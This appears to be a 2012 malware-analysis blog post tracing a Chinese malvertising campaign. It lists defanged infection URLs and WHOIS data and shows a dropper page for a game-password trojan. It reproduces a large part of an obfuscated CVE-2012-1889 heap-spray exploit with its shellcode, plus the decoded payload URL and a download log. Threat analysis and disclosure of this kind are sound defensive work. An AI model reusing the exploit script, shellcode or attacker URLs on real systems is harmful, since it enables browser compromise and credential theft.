Is the malvertisement of Chinese Online Game from the below host from Shanghai,China:
IP: 222.73.57.117 inetnum: 222.64.0.0 - 222.73.255.255 netname: CHINANET-SH descr: CHINANET shanghai province network descr: China Telecom descr: No1,jin-rong Street descr: Beijing 100032 country: CNThe domain is owned by a Chinese individual:
person: Wu Xiao Li address: Room 805,61 North Si Chuan Road,Shanghai,200085,PRC country: CN phone: +86-21-63630562 fax-no: +86-21-63630566 e-mail: ip-admin@mail.online.sh.cn nic-hdl: XI5-AP mnt-by: MAINT-CHINANET-SH changed: ip-admin@mail.online.sh.cn 20010510 source: APNICMy post in pastebin is here--->>[PASTEBIN] and here--->>[PASTEBIN]
A lot of questions came up, so I am writing in now. I am making this short.
I saw these infections urls during checking spams, first leads to the xop.html:h00p://9be14ngfsd.pppdiy.com/jx/xop.html h00p://9f515lzff3.pppdiy.com/xy/xop.html h00p://9kpgfwqdrj.pppdiy.com/hx/xop.html h00p://9mf9x3cl55.pppdiy.com/tl/xop.html h00p://9spxqc71fa.pppdiy.com/jy/xop.html h00p://s35fc3qiyl.pppdiy.com/wd/xop.html h00p://s3ebb5z4sk.pppdiy.com/wd/xop.html h00p://s52csz5u47.pppdiy.com/wd/xop.html h00p://s5c2ouavle.pppdiy.com/ny/xop.html h00p://s9inw8nkk9.pppdiy.com/yl/xop.html h00p://74jjdqugds.pppdiy.com/zt/xop.html h00p://75kay4lxj8.pppdiy.com/jy/xop.html h00p://67ldbpbmmj.pppdiy.com/jy/xop.html h00p://rq2e9k4ti8.pppdiy.com/xy/xop.html h00p://rre11swub9.pppdiy.com/yh/xop.html h00p://436p1bwt5s.pppdiy.com/wd/xop.html h00p://4a41nvbsst.pppdiy.com/tl/xop.html h00p://4bo1ocjpk9.pppdiy.com/wm/xop.html h00p://4eb2c9aupa.pppdiy.com/hx/xop.html h00p://4ekyz6afnh.pppdiy.com/jy/xop.html h00p://4gjoqgnvym.pppdiy.com/jy/xop.html h00p://4j4yxxyugh.pppdiy.com/wd/xop.html h00p://4s2aqluitq.pppdiy.com/yl/xop.html h00p://52jbsoqe53.pppdiy.com/ah/xop.html h00p://rkiit9hy1a.pppdiy.com/zt/xop.html h00p://rldq7secto.pppdiy.com/jy/xop.html h00p://roapzl6ao6.pppdiy.com/yl/xop.html h00p://rohws731yt.pppdiy.com/tl/xop.html h00p://3q4cnllxe2.pppdiy.com/yl/xop.html h00p://2e1t8v8z9v.pppdiy.com/zt/xop.html h00p://2kqi7tk2tx.pppdiy.com/wd/xop.html h00p://2nzysx8qfy.pppdiy.com/xy/xop.html h00p://2pg54c2ay2.pppdiy.com/ty/xop.html h00p://2tvypppa1t.pppdiy.com/jx/xop.html h00p://2zaco8gjga.pppdiy.com/xy/xop.html h00p://31fclefhp5.pppdiy.com/jy/xop.html h00p://37fs5qo4q5.pppdiy.com/jy/xop.html h00p://3p3sivfs1w.pppdiy.com/jy/xop.html h00p://rceta3uznz.pppdiy.com/xy/xop.html h00p://11a1tgjoav.pppdiy.com/wd/xop.html h00p://quyi6g8jz8.pppdiy.com/zt/xop.html h00p://r7ykgk31xl.pppdiy.com/ny/xop.html h00p://r89i2jzv72.pppdiy.com/ah/xop.html h00p://r8cvnadv11.pppdiy.com/jx/xop.html h00p://r8v7by8hl7.pppdiy.com/wm/xop.html h00p://r9mdp167ou.pppdiy.com/xy/xop.html h00p://ra5dfl2dhp.pppdiy.com/tl/xop.html h00p://q4u427a9d9.pppdiy.com/wl/xop.html h00p://qbfjz6vs2b.pppdiy.com/ty/xop.html h00p://qfckl9xclm.pppdiy.com/xy/xop.html h00p://qoxvbbwxxv.pppdiy.com/jy/xop.html h00p://qpm2jb8vds.pppdiy.com/xy/xop.html h00p://qrbvhfpnfi.pppdiy.com/my/xop.html h00p://qtxjsy4psn.pppdiy.com/wd/xop.html h00p://ppmcnqlq4b.pppdiy.com/hx/xop.html h00p://pnj1c3glru.pppdiy.com/wd/xop.html h00p://pnrks68rrs.pppdiy.com/wd/xop.html h00p://pn87z1eiaj.pppdiy.com/yl/xop.html h00p://pcsssued3v.pppdiy.com/tl/xop.html h00p://p2rb4o7xo3.pppdiy.com/ty/xop.html h00p://p444fcmod8.pppdiy.com/jy/xop.html h00p://oy3eewl8dj.pppdiy.com/wm/xop.html h00p://z1v1awk14w.pppdiy.com/zx/xop.html h00p://zlpr6v2wdp.pppdiy.com/wd/xop.html h00p://zrxodxxsdb.pppdiy.com/jy/xop.html h00p://x82ndlgusg.pppdiy.com/xy/xop.html h00p://xgbex2gqur.pppdiy.com/wd/xop.html h00p://xinfejn8sh.pppdiy.com/yh/xop.html h00p://ypqdgh1spm.pppdiy.com/zx/xop.html h00p://u3gltdtoo4.pppdiy.com/jy/xop.html h00p://vev8ncrkcm.pppdiy.com/jx/xop.html h00p://vlbujx6d19.pppdiy.com/xy/xop.html h00p://vouludav9m.pppdiy.com/wd/xop.html h00p://vqouin8qdg.pppdiy.com/wd/xop.html h00p://ssx2pc47nw.pppdiy.com/ty/xop.html h00p://sw29diefib.pppdiy.com/wd/xop.html h00p://t1zsxal6p5.pppdiy.com/ty/xop.html h00p://pq58ow6ydk.pppdiy.com/yl/xop.html h00p://rlcensq6ds.pppdiy.com/wd/xop.html h00p://s9ms36eb5q.pppdiy.com/ah/xop.html h00p://p8t89f1q3x.pppdiy.com/xy/xop.html h00p://pcsir3ijj9.pppdiy.com/zt/xop.html h00p://pjv68ibarl.pppdiy.com/ah/xop.html h00p://ow858ymp4d.pppdiy.com/xx/xop.html h00p://opu3mx9u8s.pppdiy.com/tl/xop.html h00p://o1v1ia7fzp.pppdiy.com/ah/xop.html h00p://nq9k8bhtgy.pppdiy.com/tl/xop.html h00p://mj3aqytgna.pppdiy.com/wd/xop.html h00p://mkjbyf6vr8.pppdiy.com/xy/xop.html h00p://lsjq1ic827.pppdiy.com/zt/xop.html h00p://ln9jwxhwp2.pppdiy.com/jy/xop.html h00p://kltudl7ixd.pppdiy.com/wd/xop.html h00p://kb8ngrsrkt.pppdiy.com/zx/xop.html h00p://jqqm6ksd4u.pppdiy.com/jx/xop.html h00p://joez462a36.pppdiy.com/xy/xop.html h00p://ir1mxyqbe1.pppdiy.com/jy/xop.html h00p://hrwvzspefk.pppdiy.com/my/xop.html h00p://hwwlnwoh5u.pppdiy.com/jx/xop.html h00p://hehqxbhtrr.pppdiy.com/xy/xop.html h00p://gzfuswbru9.pppdiy.com/xy/xop.html h00p://gur1nihj4g.pppdiy.com/wd/xop.html h00p://gcrbfl8iyi.pppdiy.com/jx/xop.html h00p://fs12vmyw85.pppdiy.com/wd/xop.html h00p://fs9kdc75dk.pppdiy.com/jy/xop.html h00p://dxonfcd1zh.pppdiy.com/zt/xop.html h00p://dfmta9juu5.pppdiy.com/ah/xop.html h00p://di6uj6rqk3.pppdiy.com/jy/xop.html h00p://85qcnilv1k.pppdiy.com/my/xop.html h00p://4oy56fcvmg.pppdiy.com/jy/xop.html h00p://x7zzmg5b1v.pppdiy.com/jx/xop.html h00p://zgxx2raoak.pppdiy.com/jx/xop.html h00p://wxf3mzd3zn.pppdiy.com/jx/xop.html h00p://wzrkh2m8xl.pppdiy.com/xx/xop.html h00p://uc18awkxod.pppdiy.com/my/xop.html h00p://v2229jswhx.pppdiy.com/wd/xop.html h00p://pxkxilbpos.pppdiy.com/wm/xop.html h00p://rakwmwhpve.pppdiy.com/xy/xop.html h00p://nsqjxjbfcs.pppdiy.com/ah/xop.html h00p://ny5iceirim.pppdiy.com/jx/xop.html h00p://iz5lh4r5qi.pppdiy.com/yl/xop.html h00p://4fp9g7s3tr.pppdiy.com/xy/xop.html h00p://57vcqwfb8a.pppdiy.com/jy/xop.html h00p://oqlpdxtgux.pppdiy.com/zt/xop.html h00p://ocd1bm7coa.pppdiy.com/xy/xop.html h00p://od5aaz7m5e.pppdiy.com/jx/xop.html h00p://odvn3j955e.pppdiy.com/zx/xop.html h00p://ogd48fw2lt.pppdiy.com/tl/xop.html h00p://oixgmmsng1.pppdiy.com/xy/xop.html h00p://ntuhp4ou1t.pppdiy.com/yl/xop.html h00p://oaicu6zotz.pppdiy.com/zt/xop.html h00p://oannucq891.pppdiy.com/jx/xop.html h00p://nmwlyg9jtd.pppdiy.com/xy/xop.html h00p://nf8ri2a2ah.pppdiy.com/zt/xop.html h00p://myx7rlgfgz.pppdiy.com/yl/xop.html h00p://mzjqths79w.pppdiy.com/yl/xop.html h00p://n19yfqnfgx.pppdiy.com/jy/xop.html h00p://n318aq72eb.pppdiy.com/jy/xop.html h00p://n3zxb481z3.pppdiy.com/yh/xop.html h00p://n8dx15kr7y.pppdiy.com/xy/xop.html h00p://muy6w1ufrw.pppdiy.com/jx/xop.html h00p://mvhnrd8c9o.pppdiy.com/jy/xop.html h00p://mvzn8qs8lg.pppdiy.com/wd/xop.html h00p://mu5dptjoda.pppdiy.com/xy/xop.html h00p://msogw56yis.pppdiy.com/xy/xop.htmlAnd the others leads to index.html...h00p://yzua8al89b.pppdiy.com/wd/index.html h00p://wjjxh168lj.pppdiy.com/wd/index.html h00p://ki9hfgy8eb.pppdiy.com/wd/index.hmlt h00p://9fnq4ekiqd.pppdiy.com/wd/index.html h00p://agz5utxh9u.pppdiy.com/wd/index.html h00p://nkkprh379v.pppdiy.com/wd/index.htmlThe index.html as per plainly written in its code, using simple unobfucated JavaScript to drop wd.exe, an online game trojan info stealer.. *)dropping code:＜SPAN class=s1＞＜A href="h00p://222.73.57.117/exe/wd.exe"＞ﾎﾊｵﾀﾇｬﾀ､ﾍ篁ﾒ2.0-ｲｻﾊﾕｷﾑ＜/A＞＜/SPAN＞ ＜SPAN class=s4＞＜SMALL＞＜FONT style="COLOR: #c7b389"＞ﾍﾆｼ・/FONT＞＜/SMALL＞＜/SPAN＞ ＜SPAN class=s2＞＜font class="red"＞＜script＞sd--;document.write（sy+"-"+sm+"-"+sd）;＜/script＞＜/font＞ ＜BR＞＜FONT color=#b7b7b7＞＜script＞sh--;si--;ss--;document.write（sh+":"+si+":"+ss）;＜/script＞＜/FONT＞＜/SPAN＞ ＜SPAN class=s3＞＜A href="h00p://222.73.57.117/exe/wd.exe"＞ﾘﾏﾂﾔﾘ＜/A＞＜/SPAN＞ ＜EM style="CLEAR: both; DISPLAY: block"＞＜/EM＞ ＜P class=txt＞ﾋｵﾃ・兤 վｳ､ｶ･fﾍﾆｼﾄﾒۿ隆篁ﾒ㬺òｻｺﾃﾓﾃìﾓﾃﾁﾋｲﾅﾖʵ#｡＜/P＞WD.EXE is a currently a well-known-detected trojan, so I am not going to disclose it further. You can check it out in Virus Total here; MD5: 8e75d7855a5ae13da08ec21d7df673e7 File size: 32.0 KB ( 32768 bytes ) File name: 8E75D7855A5AE13DA08EC21D7DF673E7.bin File type: Win32 EXE Tags: peexe upx Detection: 37 / 43 URL:------->[VIRUSTOTAL] If we take a look into the XOP.HTML, it has JavaScript to generate exploit.. I ONLY snips some important parts...starting from exploit initiation below:heapLib.ie ＝ function（maxAlloc, heapBase） ｛ this.maxAlloc ＝ （maxAlloc ? maxAlloc : 65535）; this.heapBase ＝ （heapBase ? heapBase : 0x150000）; this.paddingStr ＝ "AAAA"; while （4 ＋ this.paddingStr.length*2 ＋ 2 < this.maxAlloc） ｛ this.paddingStr ＋＝ this.paddingStr; ｝ this.mem ＝ new Array（）; this.flushOleaut32（）; ｝...and see the next codes after that in the pastebin here--->>[HERE] I detected CVE-2012-1889 which attacks MS-XML bugs MS12-043 seeking for execution arbitrary command. In the browser log you can see as follows:[2012-09-30 17:46:47] [HTTP] URL: h00p://9be14ngfsd.pppdiy.com/jx/xop.html (Status: 200, Referrer: None) [2012-09-30 17:46:48] ＜object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="vwtI"＞＜/object＞ [2012-09-30 17:46:48] ActiveXObject: F6D90F11-9C73-11D3-B32E-00C04F990BB4 [2012-09-30 17:46:48] ＜meta content="IE=7" http-equiv="X-UA-Compatible"/＞↑the object "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" used is PoC CVE-2012-1889, which you can confirm in in securityfocus.com-->>[HERE] That CVE-2012-1889 was used to execute the evil shellcode as per generated here:var heap_obj ＝ new heapLib.ie（0x20000）; var sdgryyesc ＝ "%uschwmd5db%uschwmc9c9%uschwm87cd%uschwm9292%uschwm8f8f%uschwm938f%uschwm8e8a%uschwm8893%uschwm938a%uschwm8c8c%uschwm928a%uschwmc5d8%uschwm92d8%uschwmc5d7%uschwmd893%uschwmd8c5%uschwmbdbd%uschwmbdbd"; var sdgryyev ＝ （sdgryyesc.replace（/schwm/g,""））; var fdgertrepx ＝ "%schwmuBschwmDBschwmD%uBDBschwmD%uBDBschwmD%uBDBD%uBDBschwmD%uBschwmDBD%uBDBschwmD%uBDBschwmD%uEAEA"; var fdgertrepx88 ＝ （fdgertrepx.replace（/schwm/g,""））; var fdgertrepx99 ＝ "%u54FF%uBEA3%uBDschwmBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uschwmBDBC%u36BD%uD7schwm55%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDschwmD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%ufaE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDschwmBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7schwmB9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBschwmDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7schwmBD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCBschwm42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u66schwm8E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u34Bschwm5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDschwmED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDschwmB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADschwmFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u55schwm85%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1Bschwm55%uBDBD%u7EBD%u1D55%uBDschwmBD%u0schwm5BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u5schwm13C%uBCBD%uBDBD%u4136%u7A3E%u7AB9%u8FBA%u2CschwmC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2AschwmD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD5schwm36%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8schwmED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%uBDBD%u445F%u428E%u42schwmEA%uB9schwmEB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%schwmuBCE2%u7ADB%uB8FA%u5D42%uEE7E%u61schwm36%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC93schwm6%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%schwmuBE10%u8E78%uB266%uAD03%u6Bschwm87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u36schwm60%u3schwm6B9%u78schwmBE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uschwmD919%u2E5schwm2%u59schwm8F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uBschwm0DB%uFE42%u1103%uC066%u18schwm4D%uEF27%u1A43%u8367%u0BschwmA0%u0584%u69schwmD4%u03A6%uschwmDBC2%u411D%u8A14%u25schwm10%uschwmAschwmDB7%schwmu3D45%u12schwm6B%u4627%uA8EE"; var fdgertrepx98 ＝ （fdgertrepx99.replace（/schwm/g,""））; var fdgertrepx123 ＝ "%u58schwmayt58%u58schwmayt58%u10schwmaytEB%u4Bschwmayt5B%uC9schwmayt33%uB9schwmayt66%u03schwmaytB8%u34schwmayt80%uBDschwmayt0B%uFAE2%u05schwmaytEB%uEBschwmaytE8%uFFschwmaytFF"; var fdgertrepx1 ＝ （fdgertrepx123.replace（/schwmayt/g,""））; var sdfetwedvz ＝ "HJKS0c0"＋"cHJKS0c"＋"0c"; var code ＝ unescape（fdgertrepx1＋fdgertrepx98＋sdgryyev＋fdgertrepx88）; var nops ＝ unescape（sdfetwedvz.replace（/HJKS/g,'%u'））; while （nops.length < 0x80000） nops ＋＝ nops; var offset ＝ nops.substring（0, 0x100）; var shellc0de ＝ offset ＋ code ＋ nops.substring（0, 0x800-code.length-offset.length）; while （shellc0de.length < 0x40000） shellc0de ＋＝ shellc0de; var block ＝ shellc0de.substring（0, （0x80000-6）/2）; heap_obj.gc（）; for （var z＝1; z < 0x230; z＋＋） {heap_obj.alloc（block）;Goes to this sellcode:
Can easily to be bruteforced to burp the malicious url:
Some XOR efforts will lead you to strings:
h00p://[IP]/exe/[char].exe &jxput them together to go toh00p://222.73.57.117/exe/jx.exeSince many asked me how I cracked this, this is a PoC snapshot:So let's move on and grab it:
--03:01:26-- h00p://222.73.57.117/exe/jx.exe => `jx.exe' Connecting to 222.73.57.117:80... connected. h00p request sent, awaiting response... 200 OK Length: 48,128 (47K) [application/octet-stream]Just to see the binary and you'll see many strange stuffs:// Malware OP traces... 000000002FE6 0000004047E6 0 MoveFileA 000000003032 000000404832 0 WriteFile 00000000303E 00000040483E 0 CreateFileA 00000000304C 00000040484C 0 WinExec 000000003074 000000404874 0 CopyFileA // keystroke controlling... 0000000030C0 0000004048C0 0 GetKeyboardLayoutList 0000000030D8 0000004048D8 0 GetKeyboardLayoutNameA 0000000030F2 0000004048F2 0 ActivateKeyboardLayout 00000000310C 00000040490C 0 GetKeyboardLayout 000000003120 000000404920 0 LoadKeyboardLayoutA 000000003136 000000404936 0 UnloadKeyboardLayout // IME Traces... IMM32.dll.ImmGetDescriptionA Hint[0] IMM32.dll.ImmInstallIMEA Hint[0] IMM32.dll.ImmIsIME Hint[0] // temp OPS data 00000000380C 00000040520C 0 %c:\Recycled\%d.tmp 000000003820 000000405220 0 %c:\RECYCLER\%d.tmp // Crypter service.. 00000000E05C 00000040FA5C 0 sc delete cryptsvc 00000000E070 00000040FA70 0 sc config cryptsvc start= disabled 00000000E094 00000040FA94 0 net stop cryptsvc //registry added traces 00000000E0A8 00000040FAA8 0 %s%s%d.dll // kbdus.dll 00000000E0DC 00000040FADC 0 SOFTWARE\kingsoft\JX3\zhcn 00000000E0F8 00000040FAF8 0 JX3Client // JX3Client.exe 00000000E104 00000040FB04 0 Software\Microsoft\Windows\ShellNoRoam\MUICache 00000000E134 00000040FB34 0 %sdllcache\%s 00000000E144 00000040FB44 0 %syu%s // net1.exeThe behavior check shows://Drops %Appdata%\JX3Client.exe %System%\chinasougou.ime %System%\yumidimap.dll %System%\net1.exe //Registry...(as per expected) SOFTWARE\kingsoft\JX3\zhcn Value: "JX3Client.exe" //Runs/control services: net1.exe sc.exe //crypter service: cryptsvcIt looks like a an online game with trojan functions, dumps your keystrokes. If you like to do online games avoid using this tools. It looks like this, found it in China sites..:Currently Virus Total is making good detection ratio for this: MD5: bbfc347f66c1c361e7bd401f2f0d448e File size: 47.0 KB ( 48128 bytes ) File name: sample File type: Win32 EXE Tags: peexe upx mz cve-2012-1889 exploit Detection: 35 / 42 Analysis: 2012-09-29 19:16:46 UTC ( 8 時間, 20 分 ago ) URL:------->>[VIRISTOTAL] With malware names (NOTE that the original & unpacked binary has very different namings...sigh..)
First Check in VT: (PACKED/ORIGINAL BINARY) ------------------------------------------- McAfee : Artemis!BBFC347F66C1 K7AntiVirus : Riskware TheHacker : Posible_Worm32 F-Prot : W32/Heuristic-114!Eldorado ESET-NOD32 : a variant of Win32/PSW.OnLineGames.QBF TrendMicro-HouseCall : TROJ_GEN.RCBCEHF Kaspersky : HEUR:Trojan.Win32.Generic F-Secure : Dropped:Trojan.PWS.FakeIME.B VIPRE : Trojan.Win32.Generic!BT AntiVir : TR/ATRAPS.Gen TrendMicro : TROJ_GEN.RCBCEHF McAfee-GW-Edition : Artemis!BBFC347F66C1 Jiangmin : Trojan/Generic.algbo Microsoft : PWS:Win32/Lolyda.BF Commtouch : W32/Heuristic-114!Eldorado AhnLab-V3 : Trojan/Win32.Xema VBA32 : TrojanPSW.QQTen.ng PCTools : Trojan.Gen Ikarus : Trojan-PWS.Win32.Lolyda Fortinet : W32/Onlinegames.QBF!tr AVG : unknown virus Win32/DH{HhM6SEVn} Panda : Suspicious file First Check in VT: (UNPACKED) ------------------------------- F-Secure : Dropped:Trojan.PWS.FakeIME.B DrWeb : BackDoor.PcClient.5930 GData : Dropped:Trojan.PWS.FakeIME.B Symantec : Suspicious.Cloud.5 Norman : W32/OnLineGames.NVOE ESET-NOD32 : a variant of Win32/PSW.OnLineGames.QBF eScan : Dropped:Trojan.PWS.FakeIME.B Fortinet : W32/Onlinegames.QBF!tr Emsisoft : Trojan-PWS.Win32.Lolyda!IK VBA32 : TrojanPSW.QQTen.ng Kaspersky : HEUR:Trojan.Win32.Generic Jiangmin : Trojan/Generic.algbo Rising : Trojan.Win32.Fednu.uhc Ikarus : Trojan-PWS.Win32.Lolyda AntiVir : TR/Crypt.ZPACK.Gen AVG : unknown virus Win32/DH{HhM6SEVn} Panda : Suspicious file ViRobot : Trojan.Win32.A.PSW-Frethoq.51200 Comodo : TrojWare.Win32.Poison.QBF
